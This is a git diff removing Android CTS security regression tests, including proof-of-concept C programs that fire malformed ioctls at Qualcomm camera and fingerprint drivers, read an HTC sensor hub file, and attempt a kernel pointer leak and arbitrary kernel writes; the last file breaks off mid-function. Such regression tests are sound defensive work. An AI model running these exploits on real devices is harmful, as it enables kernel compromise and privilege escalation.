-#define VIDIOC_QBUF _IOWR('V', 15, struct v4l2_buffer)
-
-/*
- *  MEMORY-MAPPING BUFFERS
- */
-struct v4l2_requestbuffers {
-  __u32 count;
-  __u32 type;   /* enum v4l2_buf_type */
-  __u32 memory; /* enum v4l2_memory */
-  __u32 reserved[2];
-};
-
-#define VIDIOC_REQBUFS _IOWR('V', 8, struct v4l2_requestbuffers)
-
-enum msm_camera_buf_mngr_cmd {
-  MSM_CAMERA_BUF_MNGR_CONT_MAP,
-  MSM_CAMERA_BUF_MNGR_CONT_UNMAP,
-  MSM_CAMERA_BUF_MNGR_CONT_MAX,
-};
-
-struct msm_buf_mngr_main_cont_info {
-  uint32_t session_id;
-  uint32_t stream_id;
-  enum msm_camera_buf_mngr_cmd cmd;
-  uint32_t cnt;
-  int32_t cont_fd;
-};
-
-#define MSM_CAMERA_MAX_USER_BUFF_CNT 16
-
-struct msm_camera_user_buf_cont_t {
-  unsigned int buf_cnt;
-  unsigned int buf_idx[MSM_CAMERA_MAX_USER_BUFF_CNT];
-};
-
-enum msm_camera_buf_mngr_buf_type {
-  MSM_CAMERA_BUF_MNGR_BUF_PLANAR,
-  MSM_CAMERA_BUF_MNGR_BUF_USER,
-  MSM_CAMERA_BUF_MNGR_BUF_INVALID,
-};
-
-struct msm_buf_mngr_info {
-  uint32_t session_id;
-  uint32_t stream_id;
-  uint32_t frame_id;
-  struct timeval timestamp;
-  uint32_t index;
-  uint32_t reserved;
-  enum msm_camera_buf_mngr_buf_type type;
-  struct msm_camera_user_buf_cont_t user_buf;
-};
-
-#define VIDIOC_MSM_BUF_MNGR_CONT_CMD \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 36, struct msm_buf_mngr_main_cont_info)
-#define VIDIOC_MSM_BUF_MNGR_GET_BUF \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 33, struct msm_buf_mngr_info)
-
-struct msm_camera_private_ioctl_arg {
-  __u32 id;
-  __u32 size;
-  __u32 result;
-  __u32 reserved;
-  __user __u64 ioctl_ptr;
-};
-
-#define VIDIOC_MSM_BUF_MNGR_IOCTL_CMD \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 40, struct msm_camera_private_ioctl_arg)
-
-#define MSM_CAMERA_BUF_MNGR_IOCTL_ID_GET_BUF_BY_IDX 1
-
-int main(void) {
-  int fd, ret = 0;
-  struct msm_camera_private_ioctl_arg arg;
-  struct msm_buf_mngr_info info;
-  int cmd;
-  char subdev[32] = {0};
-
-  for (int i = 0; i < 32; i++) {
-    if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {
-      exit(EXIT_FAILURE);
-    }
-
-    fd = open(subdev, O_RDWR);
-    if (fd == -1) {
-      close(fd);
-      continue;
-    }
-
-    memset(&arg, 0, sizeof(arg));
-    memset(&info, 0, sizeof(info));
-    info.session_id = 2;
-    info.stream_id = 0;
-    info.index = 0;
-    arg.id = MSM_CAMERA_BUF_MNGR_IOCTL_ID_GET_BUF_BY_IDX;
-    arg.size = sizeof(struct msm_buf_mngr_info);
-    arg.ioctl_ptr = (__u64)&info;
-    cmd = VIDIOC_MSM_BUF_MNGR_IOCTL_CMD;
-    ret = ioctl(fd, cmd, &arg);
-
-    close(fd);
-  }
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/Android.mk b/hostsidetests/security/securityPatch/Bug-35216793/Android.mk
deleted file mode 100644
index 7b7ced9..0000000
--- a/hostsidetests/security/securityPatch/Bug-35216793/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35216793
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h b/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h
deleted file mode 100644
index c7eaee0..0000000
--- a/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h
+++ /dev/null
@@ -1,345 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef __CMD_H__
-#define __CMD_H__
-#include <linux/types.h>
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-#define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-#define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-#define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-#define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-#define _IOC_READ 2U
-#endif
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir, type, nr, size)                          \
-  (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
-   ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
-
-/* used to create numbers */
-#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
-#define _IOR(type, nr, size) \
-  _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOW(type, nr, size) \
-  _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOWR(type, nr, size) \
-  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-
-enum v4l2_buf_type {
-  V4L2_BUF_TYPE_VIDEO_CAPTURE = 1,
-  V4L2_BUF_TYPE_VIDEO_OUTPUT = 2,
-  V4L2_BUF_TYPE_VIDEO_OVERLAY = 3,
-  V4L2_BUF_TYPE_VBI_CAPTURE = 4,
-  V4L2_BUF_TYPE_VBI_OUTPUT = 5,
-  V4L2_BUF_TYPE_SLICED_VBI_CAPTURE = 6,
-  V4L2_BUF_TYPE_SLICED_VBI_OUTPUT = 7,
-#if 1
-  /* Experimental */
-  V4L2_BUF_TYPE_VIDEO_OUTPUT_OVERLAY = 8,
-#endif
-  V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE = 9,
-  V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE = 10,
-  V4L2_BUF_TYPE_SDR_CAPTURE = 11,
-  /* Deprecated, do not use */
-  V4L2_BUF_TYPE_PRIVATE = 0x80,
-};
-
-struct v4l2_timecode {
-  __u32 type;
-  __u32 flags;
-  __u8 frames;
-  __u8 seconds;
-  __u8 minutes;
-  __u8 hours;
-  __u8 userbits[4];
-};
-
-struct v4l2_buffer {
-  __u32 index;
-  __u32 type;
-  __u32 bytesused;
-  __u32 flags;
-  __u32 field;
-  struct timeval timestamp;
-  struct v4l2_timecode timecode;
-  __u32 sequence;
-
-  /* memory location */
-  __u32 memory;
-  union {
-    __u32 offset;
-    unsigned long userptr;
-    struct v4l2_plane *planes;
-    __s32 fd;
-  } m;
-  __u32 length;
-  __u32 reserved2;
-  __u32 reserved;
-};
-
-#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
-
-enum msm_actuator_cfg_type_t {
-  CFG_GET_ACTUATOR_INFO,
-  CFG_SET_ACTUATOR_INFO,
-  CFG_SET_DEFAULT_FOCUS,
-  CFG_MOVE_FOCUS,
-  CFG_SET_POSITION,
-  CFG_ACTUATOR_POWERDOWN,
-  CFG_ACTUATOR_POWERUP,
-  CFG_ACTUATOR_INIT,
-};
-
-typedef unsigned int compat_uptr_t;
-struct msm_actuator_move_params_t32 {
-  int8_t dir;
-  int8_t sign_dir;
-  int16_t dest_step_pos;
-  int32_t num_steps;
-  uint16_t curr_lens_pos;
-  compat_uptr_t ringing_params;
-};
-
-enum actuator_type {
-  ACTUATOR_VCM,
-  ACTUATOR_PIEZO,
-  ACTUATOR_HVCM,
-  ACTUATOR_BIVCM,
-};
-
-enum i2c_freq_mode_t {
-  I2C_STANDARD_MODE,
-  I2C_FAST_MODE,
-  I2C_CUSTOM_MODE,
-  I2C_CUSTOM1_MODE,
-  I2C_CUSTOM2_MODE,
-  I2C_FAST_PLUS_MODE,
-  I2C_MAX_MODES,
-};
-
-enum msm_camera_i2c_reg_addr_type {
-  MSM_CAMERA_I2C_BYTE_ADDR = 1,
-  MSM_CAMERA_I2C_WORD_ADDR,
-  MSM_CAMERA_I2C_3B_ADDR,
-  MSM_CAMERA_I2C_ADDR_TYPE_MAX,
-};
-
-enum msm_camera_i2c_data_type {
-  MSM_CAMERA_I2C_BYTE_DATA = 1,
-  MSM_CAMERA_I2C_WORD_DATA,
-  MSM_CAMERA_I2C_DWORD_DATA,
-  MSM_CAMERA_I2C_SET_BYTE_MASK,
-  MSM_CAMERA_I2C_UNSET_BYTE_MASK,
-  MSM_CAMERA_I2C_SET_WORD_MASK,
-  MSM_CAMERA_I2C_UNSET_WORD_MASK,
-  MSM_CAMERA_I2C_SET_BYTE_WRITE_MASK_DATA,
-  MSM_CAMERA_I2C_DATA_TYPE_MAX,
-};
-
-struct park_lens_data_t {
-  uint32_t damping_step;
-  uint32_t damping_delay;
-  uint32_t hw_params;
-  uint32_t max_step;
-};
-
-struct msm_actuator_params_t32 {
-  enum actuator_type act_type;
-  uint8_t reg_tbl_size;
-  uint16_t data_size;
-  uint16_t init_setting_size;
-  uint32_t i2c_addr;
-  enum i2c_freq_mode_t i2c_freq_mode;
-  enum msm_camera_i2c_reg_addr_type i2c_addr_type;
-  enum msm_camera_i2c_data_type i2c_data_type;
-  compat_uptr_t reg_tbl_params;
-  compat_uptr_t init_settings;
-  struct park_lens_data_t park_lens;
-};
-
-struct msm_actuator_tuning_params_t32 {
-  int16_t initial_code;
-  uint16_t pwd_step;
-  uint16_t region_size;
-  uint32_t total_steps;
-  compat_uptr_t region_params;
-};
-
-struct msm_actuator_set_info_t32 {
-  struct msm_actuator_params_t32 actuator_params;
-  struct msm_actuator_tuning_params_t32 af_tuning_params;
-};
-
-struct msm_actuator_get_info_t {
-  uint32_t focal_length_num;
-  uint32_t focal_length_den;
-  uint32_t f_number_num;
-  uint32_t f_number_den;
-  uint32_t f_pix_num;
-  uint32_t f_pix_den;
-  uint32_t total_f_dist_num;
-  uint32_t total_f_dist_den;
-  uint32_t hor_view_angle_num;
-  uint32_t hor_view_angle_den;
-  uint32_t ver_view_angle_num;
-  uint32_t ver_view_angle_den;
-};
-
-#define MAX_NUMBER_OF_STEPS 47
-struct msm_actuator_set_position_t {
-  uint16_t number_of_steps;
-  uint32_t hw_params;
-  uint16_t pos[MAX_NUMBER_OF_STEPS];
-  uint16_t delay[MAX_NUMBER_OF_STEPS];
-};
-
-enum af_camera_name {
-  ACTUATOR_MAIN_CAM_0,
-  ACTUATOR_MAIN_CAM_1,
-  ACTUATOR_MAIN_CAM_2,
-  ACTUATOR_MAIN_CAM_3,
-  ACTUATOR_MAIN_CAM_4,
-  ACTUATOR_MAIN_CAM_5,
-  ACTUATOR_WEB_CAM_0,
-  ACTUATOR_WEB_CAM_1,
-  ACTUATOR_WEB_CAM_2,
-};
-
-struct msm_actuator_cfg_data32 {
-  int cfgtype;
-  uint8_t is_af_supported;
-  union {
-    struct msm_actuator_move_params_t32 move;
-    struct msm_actuator_set_info_t32 set_info;
-    struct msm_actuator_get_info_t get_info;
-    struct msm_actuator_set_position_t setpos;
-    enum af_camera_name cam_name;
-  } cfg;
-};
-struct region_params_t {
-  /* [0] = ForwardDirection Macro boundary
-     [1] = ReverseDirection Inf boundary
-  */
-  unsigned short step_bound[2];
-  unsigned short code_per_step;
-  /* qvalue for converting float type numbers to integer format */
-  unsigned int qvalue;
-};
-
-#define VIDIOC_MSM_ACTUATOR_CFG32 \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_actuator_cfg_data32)
-
-#define VIDIOC_QBUF _IOWR('V', 15, struct v4l2_buffer)
-
-#define I2C_SEQ_REG_DATA_MAX 1024
-
-enum msm_ois_cfg_type_t {
-  CFG_OIS_INIT,
-  CFG_OIS_POWERDOWN,
-  CFG_OIS_POWERUP,
-  CFG_OIS_CONTROL,
-  CFG_OIS_I2C_WRITE_SEQ_TABLE,
-};
-
-enum msm_ois_i2c_operation {
-  MSM_OIS_WRITE = 0,
-  MSM_OIS_POLL,
-};
-
-struct reg_settings_ois_t {
-  uint16_t reg_addr;
-  enum msm_camera_i2c_reg_addr_type addr_type;
-  uint32_t reg_data;
-  enum msm_camera_i2c_data_type data_type;
-  enum msm_ois_i2c_operation i2c_operation;
-  uint32_t delay;
-};
-struct msm_ois_params_t {
-  uint16_t data_size;
-  uint16_t setting_size;
-  uint32_t i2c_addr;
-  enum i2c_freq_mode_t i2c_freq_mode;
-  enum msm_camera_i2c_reg_addr_type i2c_addr_type;
-  enum msm_camera_i2c_data_type i2c_data_type;
-  struct reg_settings_ois_t *settings;
-};
-
-struct msm_ois_set_info_t {
-  struct msm_ois_params_t ois_params;
-};
-
-struct msm_camera_i2c_seq_reg_array {
-  unsigned short reg_addr;
-  unsigned char reg_data[I2C_SEQ_REG_DATA_MAX];
-  unsigned short reg_data_size;
-};
-
-struct msm_camera_i2c_seq_reg_setting {
-  struct msm_camera_i2c_seq_reg_array *reg_setting;
-  unsigned short size;
-  enum msm_camera_i2c_reg_addr_type addr_type;
-  unsigned short delay;
-};
-
-struct msm_ois_cfg_data {
-  int cfgtype;
-  union {
-    struct msm_ois_set_info_t set_info;
-    struct msm_camera_i2c_seq_reg_setting *settings;
-  } cfg;
-};
-
-#define VIDIOC_MSM_OIS_CFG \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_ois_cfg_data)
-
-#endif
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/poc.c b/hostsidetests/security/securityPatch/Bug-35216793/poc.c
deleted file mode 100644
index 314228d..0000000
--- a/hostsidetests/security/securityPatch/Bug-35216793/poc.c
+++ /dev/null
@@ -1,92 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/wait.h>
-#include <unistd.h>
-#include <string.h>
-
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include "local_poc.h"
-
-int main(int argc, char **argv) {
-  int fd, ret, i, count;
-  pthread_t tid[2];
-  char buf[256];
-  char subdev[32] = {0};
-
-  struct msm_ois_cfg_data data;
-  struct msm_ois_set_info_t *info;
-  struct msm_ois_params_t *param;
-
-  count = 0;
-retry:
-  for (i = 0; i < 32; i++) {
-    if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {
-      exit(EXIT_FAILURE);
-    }
-    fd = open(subdev, O_RDWR, 0);
-    if (fd < 0) {
-      return -1;
-    }
-
-    data.cfgtype = CFG_OIS_INIT;
-    ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
-
-    data.cfgtype = CFG_OIS_CONTROL;
-    info = &data.cfg.set_info;
-    param = &info->ois_params;
-    param->i2c_freq_mode = 639630796;
-    param->setting_size = 5;
-    param->settings = 0;
-
-    ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
-
-    close(fd);
-
-    fd = open(subdev, O_RDWR, 0);
-    if (fd < 0) {
-      return -1;
-    }
-
-    data.cfgtype = CFG_OIS_INIT;
-    ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
-
-    data.cfgtype = CFG_OIS_CONTROL;
-    info = &data.cfg.set_info;
-    param = &info->ois_params;
-    param->i2c_freq_mode = 639630796;
-    param->setting_size = 5;
-    param->settings = 0;
-
-    ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
-
-    close(fd);
-  }
-  sleep(0.5);
-  printf("[pid:%d] try %d again!\n", getpid(), ++count);
-  goto retry;
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35468048/Android.mk b/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
deleted file mode 100644
index 88166b8..0000000
--- a/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35468048
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35468048/poc.c b/hostsidetests/security/securityPatch/Bug-35468048/poc.c
deleted file mode 100644
index 850c7c9..0000000
--- a/hostsidetests/security/securityPatch/Bug-35468048/poc.c
+++ /dev/null
@@ -1,92 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <string.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <sched.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) \
-  printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-static int set_affinity(int num) {
-  int ret = 0;
-  cpu_set_t mask;
-  CPU_ZERO(&mask);
-  CPU_SET(num, &mask);
-  ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
-  if (ret == -1) {
-    ERR("[-] set affinity failed");
-  }
-  return ret;
-}
-
-#define TARGET "/sys/devices/virtual/htc_sensorhub/sensor_hub/enable"
-#define DISABLE "/sys/module/CwMcuSensor/parameters/DEBUG_DISABLE"
-int main(int argc, char *argv[]) {
-  int i, ret, tmpfd;
-  char buf[PAGE_SIZE] = {0};
-
-  /* bind_cpu */
-  set_affinity(0);
-
-  /* disable debug */
-  tmpfd = open(DISABLE, O_RDWR);
-  if (tmpfd == -1) {
-    ERR("[-] open %s failed", TARGET);
-    return -1;
-  }
-
-  write(tmpfd, "1", 1);
-  close(tmpfd);
-
-  tmpfd = open(TARGET, O_RDWR);
-
-  if (tmpfd == -1)
-    ERR("[-] open %s failed", TARGET);
-  else
-    LOG("[+] open %s OK", TARGET);
-
-  /* read */
-  ret = read(tmpfd, buf, PAGE_SIZE);
-  if (ret == -1)
-    ERR("[-] read %s failed", TARGET);
-  else {
-    LOG("[+] read succeeded: %d bytes", ret);
-    LOG("[+] content: %s", buf);
-  }
-
-  close(tmpfd);
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35644510/Android.mk b/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
deleted file mode 100644
index 3a8edf6..0000000
--- a/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := Bug-35644510

-LOCAL_SRC_FILES := poc.c

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-

-LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

-LOCAL_LDFLAGS += -fPIE -pie

-LDFLAGS += -rdynamic

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-35644510/poc.c b/hostsidetests/security/securityPatch/Bug-35644510/poc.c
deleted file mode 100644
index 8dfd4b5..0000000
--- a/hostsidetests/security/securityPatch/Bug-35644510/poc.c
+++ /dev/null
@@ -1,359 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <sys/klog.h>
-
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/types.h> /* See NOTES */
-
-static const char *dev = "/dev/qbt1000";
-
-#define QBT1000_SNS_SERVICE_ID 0x138 /* From sns_common_v01.idl */
-#define QBT1000_SNS_SERVICE_VER_ID 1
-#define QBT1000_SNS_INSTANCE_INST_ID 0
-
-#define SNS_QFP_OPEN_RESP_V01 0x0020
-
-#define QMI_REQUEST_CONTROL_FLAG 0x00
-#define QMI_RESPONSE_CONTROL_FLAG 0x02
-#define QMI_INDICATION_CONTROL_FLAG 0x04
-#define QMI_HEADER_SIZE 7
-
-#define OPTIONAL_TLV_TYPE_START 0x10
-
-enum elem_type {
-  QMI_OPT_FLAG = 1,
-  QMI_DATA_LEN,
-  QMI_UNSIGNED_1_BYTE,
-  QMI_UNSIGNED_2_BYTE,
-  QMI_UNSIGNED_4_BYTE,
-  QMI_UNSIGNED_8_BYTE,
-  QMI_SIGNED_2_BYTE_ENUM,
-  QMI_SIGNED_4_BYTE_ENUM,
-  QMI_STRUCT,
-  QMI_STRING,
-  QMI_EOTI,
-};
-
-volatile int cont = 1;
-
-struct qmi_header {
-  unsigned char cntl_flag;
-  uint16_t txn_id;
-  uint16_t msg_id;
-  uint16_t msg_len;
-} __attribute__((__packed__));
-
-struct qseecom_handle {
-  void *dev;           /* in/out */
-  unsigned char *sbuf; /* in/out */
-  uint32_t sbuf_len;   /* in/out */
-};
-
-enum qbt1000_commands {
-  QBT1000_LOAD_APP = 100,
-  QBT1000_UNLOAD_APP = 101,
-  QBT1000_SEND_TZCMD = 102
-};
-
-struct qbt1000_app {
-  struct qseecom_handle **app_handle;
-  char name[32];
-  uint32_t size;
-  uint8_t high_band_width;
-};
-
-struct qbt1000_send_tz_cmd {
-  struct qseecom_handle *app_handle;
-  uint8_t *req_buf;
-  uint32_t req_buf_len;
-  uint8_t *rsp_buf;
-  uint32_t rsp_buf_len;
-};
-
-struct msm_ipc_port_addr {
-  uint32_t node_id;
-  uint32_t port_id;
-};
-
-struct msm_ipc_port_name {
-  uint32_t service;
-  uint32_t instance;
-};
-
-struct msm_ipc_addr {
-  unsigned char addrtype;
-  union {
-    struct msm_ipc_port_addr port_addr;
-    struct msm_ipc_port_name port_name;
-  } addr;
-};
-
-/*
- * Socket API
- */
-
-#define AF_MSM_IPC 27
-
-#define PF_MSM_IPCAF_MSM_IPC
-
-#define MSM_IPC_ADDR_NAME 1
-#define MSM_IPC_ADDR_ID 2
-
-struct sockaddr_msm_ipc {
-  unsigned short family;
-  struct msm_ipc_addr address;
-  unsigned char reserved;
-};
-
-struct qbt1000_app app = {0};
-
-static int get_fd(const char *dev_node) {
-  int fd;
-  fd = open(dev_node, O_RDWR);
-  if (fd < 0) {
-    cont = 0;
-    exit(EXIT_FAILURE);
-  }
-
-  return fd;
-}
-
-static void leak_heap_ptr(int fd) {
-  void *addr = NULL;
-  app.app_handle = (void *)&addr;
-  app.size = 32;
-  ioctl(fd, QBT1000_LOAD_APP, &app);
-}
-
-static void arb_kernel_write_load_app(int fd) {
-  struct qbt1000_app app = {0};
-
-  app.app_handle = (void *)0xABADACCE55013337;
-  ioctl(fd, QBT1000_LOAD_APP, &app);
-}
-
-static void arb_kernel_write_send_tzcmd(int fd) {
-  struct qseecom_handle hdl = {0};
-  struct qbt1000_send_tz_cmd cmd = {0};
-  int x = 0;
-
-  hdl.sbuf =
-      (void
-           *)0xffffffc0017b1b84;  // malloc(4096);//(void *) 0xABADACCE55000000;
-  cmd.app_handle = &hdl;
-  cmd.req_buf = &x;
-  cmd.rsp_buf = NULL;  // malloc(4096);
